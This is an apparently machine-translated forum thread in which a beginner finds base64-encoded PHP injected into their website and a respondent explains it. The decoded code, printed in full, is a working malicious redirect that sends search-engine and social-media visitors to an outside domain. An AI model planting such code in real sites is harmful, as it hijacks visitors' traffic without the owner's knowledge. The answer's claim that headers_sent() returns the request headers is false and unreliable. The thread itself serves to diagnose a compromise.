是我的代码保护

req*_*nce 0 html javascript php base64

我是html的初学者.我从一个人开发了一个网站,后来当我访问mu网站的源代码时,我看到这一堆代码存在于Php tags内的每个页面中.我想问一下这是否可以保留这段代码?我甚至不知道这段代码是什么意思.

我曾经使用过这个网站http://base64decode.org/,它向我展示了我的代码是这样的

zm^r^
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
    $referer=$_SERVER['HTTP_REFERER'];
    $uag=$_SERVER['HTTP_USER_AGENT'];
    if ($uag) {
        if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
            if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
                header("Location: http://broadway.bee.pl/");
                exit();
            }
        }
    }
}
Run Code Online (Sandbox Code Playgroud)

我还想知道这是什么意思?任何帮助将不胜感激

pyc*_*358 5

$qazplm=headers_sent();

$qazplm now is a variable containing all of the HTTP headers sent with the request.

if (!$qazplm){
    $referer=$_SERVER['HTTP_REFERER'];

$referer now is a variable containing the URL of the website the user was last on.


 $uag=$_SERVER['HTTP_USER_AGENT'];
    if ($uag) {
       if (stristr($referer,"yahoo")
          or stristr($referer,"bing")
          or stristr($referer,"rambler")
          or stristr($referer,"gogo")
          or stristr($referer,"live.com")
          or stristr($referer,"aport")
          or stristr($referer,"nigma")
          or stristr($referer,"webalta")
          or stristr($referer,"begun.ru")
          or stristr($referer,"stumbleupon.com")
          or stristr($referer,"bit.ly")
          or stristr($referer,"tinyurl.com")
          or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer)
          or preg_match ("/google\.(.*?)\/url/",$referer)
          or stristr($referer,"myspace.com")
          or stristr($referer,"facebook.com")
          or stristr($referer,"aol.com")) {
Run Code Online (Sandbox Code Playgroud)

如果他们来自一个共同的搜索引擎......

if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://broadway.bee.pl/");
Run Code Online (Sandbox Code Playgroud)

将它们重定向到broadway.bee.pl

exit();
Run Code Online (Sandbox Code Playgroud)

换句话说,如果他们通过搜索到达您的网站,他们最终会转到broadway.bee.pl.你已经被黑了(除非你拥有broadway.bee.pl).